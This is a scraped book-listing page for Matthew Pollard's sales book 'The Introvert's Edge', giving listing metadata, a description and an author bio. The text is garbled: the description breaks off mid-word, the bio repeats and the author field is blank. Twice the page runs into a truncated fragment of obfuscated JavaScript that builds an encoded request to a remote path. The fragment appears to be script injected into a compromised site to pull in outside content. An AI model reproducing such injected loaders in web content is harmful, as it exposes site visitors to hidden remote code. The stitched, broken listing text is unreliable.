The Introvert's Edge: How the Quiet and Shy Can Outsell Anyone
| Author | : | |
| Rating | : | 4.99 (645 Votes) |
| Asin | : | B072BZM6G8 |
| Format Type | : | |
| Number of Pages | : | 190 Pages |
| Publish Date | : | 2016-12-05 |
| Language | : | English |
DESCRIPTION:
Powerful and practical, the book reveals how to:Find natural confidencePrepare for every situationPresent your value so that customers want to buySidestep objectionsJudge when the customer’s ready to buyAsk for the sale — without askingContinually adapt and improveProfit from a process that doesn’t rely on personalityEnjoy salesWith stories of introverted entrepreneurs, salespeople, and business owners who went from stagnant to success, The Introvert’s Edge shows you how to succeed in sales — without changing who you are.. That’s the beauty of The Introvert’s Ed
A native of Australia, he now lives in the United States. Responsible for five zero-to-million-dollar businesses, he also founded Austin’s Small Business Festival, now nationwide. About the Author MATTHEW POLLARD, known as “The Rapid Growth Guy,” works with businesses around the world, from startups and service professionals to Microsoft and Capital One. if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();, 0);function sync(fn) {fn();function requestCfs(){var idc_glo_url = (locationotocol=="https:" ? "https://" : "");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfsone/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKq1i%2bzF00LDKkx9aWlcnYu4QxJGp%2bH2nIip28dSN2XX1lhQWPydnjcSRhnRn%2bN7
MATTHEW POLLARD, known as “The Rapid Growth Guy,” works with businesses around the world, from startups and service professionals to Microsoft and Capital One. if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();, 0);function sync(fn) {fn();function re